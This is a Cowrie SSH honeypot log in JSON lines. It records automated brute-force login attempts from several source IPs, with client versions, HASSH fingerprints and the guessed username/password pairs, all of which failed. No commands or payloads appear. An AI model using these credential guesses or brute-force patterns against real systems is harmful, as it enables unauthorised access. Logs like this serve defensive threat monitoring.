{"eventid":"cowrie.login.failed","username":"admin","password":"welcome123","message":"login attempt [admin/welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:48.579768Z","src_ip":"180.243.191.141","session":"cee9939af22d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:09:49.851604Z","src_ip":"180.243.191.141","session":"cee9939af22d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":59942,"dst_ip":"10.17.0.5","dst_port":22,"session":"6141e7456a0d","protocol":"ssh","message":"New connection: 50.116.72.139:59942 (10.17.0.5:22) [session: 6141e7456a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:03.174370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:03.180561Z","src_ip":"50.116.72.139","session":"6141e7456a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:03.214907Z","src_ip":"50.116.72.139","session":"6141e7456a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234.","message":"login attempt [root/Asdf1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:03.357542Z","src_ip":"50.116.72.139","session":"6141e7456a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:04.392043Z","src_ip":"50.116.72.139","session":"6141e7456a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":44820,"dst_ip":"159.203.135.109","dst_port":22,"session":"4647e1d68924","protocol":"ssh","message":"New connection: 160.251.182.78:44820 (159.203.135.109:22) [session: 4647e1d68924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:22.839839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:22.844837Z","src_ip":"160.251.182.78","session":"4647e1d68924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:23.017599Z","src_ip":"160.251.182.78","session":"4647e1d68924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:23.743564Z","src_ip":"160.251.182.78","session":"4647e1d68924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:24.921124Z","src_ip":"160.251.182.78","session":"4647e1d68924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":57518,"dst_ip":"10.17.0.5","dst_port":22,"session":"9896415c32ad","protocol":"ssh","message":"New connection: 45.165.238.2:57518 (10.17.0.5:22) [session: 9896415c32ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:27.089851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:27.094351Z","src_ip":"45.165.238.2","session":"9896415c32ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:27.225924Z","src_ip":"45.165.238.2","session":"9896415c32ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lc123456","message":"login attempt [root/Lc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:27.784610Z","src_ip":"45.165.238.2","session":"9896415c32ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:28.919507Z","src_ip":"45.165.238.2","session":"9896415c32ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36628,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fe92e968fdf","protocol":"ssh","message":"New connection: 103.176.20.57:36628 (159.203.135.109:22) [session: 6fe92e968fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:35.244214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:35.249221Z","src_ip":"103.176.20.57","session":"6fe92e968fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.56.159.185","src_port":44498,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceeb6bf0e310","protocol":"ssh","message":"New connection: 50.56.159.185:44498 (159.203.135.109:22) [session: ceeb6bf0e310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:35.466944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:35.471951Z","src_ip":"50.56.159.185","session":"ceeb6bf0e310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:35.500323Z","src_ip":"103.176.20.57","session":"6fe92e968fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:35.510631Z","src_ip":"50.56.159.185","session":"ceeb6bf0e310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:35.627116Z","src_ip":"50.56.159.185","session":"ceeb6bf0e310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tgbyhn","message":"login attempt [root/tgbyhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:36.248956Z","src_ip":"103.176.20.57","session":"6fe92e968fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:36.671398Z","src_ip":"50.56.159.185","session":"ceeb6bf0e310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:37.502563Z","src_ip":"103.176.20.57","session":"6fe92e968fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":6281,"dst_ip":"10.17.0.5","dst_port":22,"session":"c68e39d0cd61","protocol":"ssh","message":"New connection: 180.243.191.141:6281 (10.17.0.5:22) [session: c68e39d0cd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:50.118030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:50.122914Z","src_ip":"180.243.191.141","session":"c68e39d0cd61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:50.412705Z","src_ip":"180.243.191.141","session":"c68e39d0cd61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root111","message":"login attempt [root/root111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:51.519807Z","src_ip":"180.243.191.141","session":"c68e39d0cd61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:10:52.790490Z","src_ip":"180.243.191.141","session":"c68e39d0cd61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":46632,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1cdcc2b0e14","protocol":"ssh","message":"New connection: 50.116.72.139:46632 (10.17.0.5:22) [session: f1cdcc2b0e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:12.987710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:12.993146Z","src_ip":"50.116.72.139","session":"f1cdcc2b0e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:13.019128Z","src_ip":"50.116.72.139","session":"f1cdcc2b0e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yocto","password":"yocto","message":"login attempt [yocto/yocto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:13.155385Z","src_ip":"50.116.72.139","session":"f1cdcc2b0e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:14.186572Z","src_ip":"50.116.72.139","session":"f1cdcc2b0e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":37152,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bfda52dd467","protocol":"ssh","message":"New connection: 171.244.141.86:37152 (10.17.0.5:22) [session: 4bfda52dd467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:29.104307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:29.109409Z","src_ip":"171.244.141.86","session":"4bfda52dd467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:29.420539Z","src_ip":"171.244.141.86","session":"4bfda52dd467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:30.412926Z","src_ip":"171.244.141.86","session":"4bfda52dd467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:31.657885Z","src_ip":"171.244.141.86","session":"4bfda52dd467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":54554,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e0dd9e42ad0","protocol":"ssh","message":"New connection: 186.246.14.196:54554 (159.203.135.109:22) [session: 3e0dd9e42ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:39.739135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:11:39.743862Z","src_ip":"186.246.14.196","session":"3e0dd9e42ad0","protocol":"ssh"}
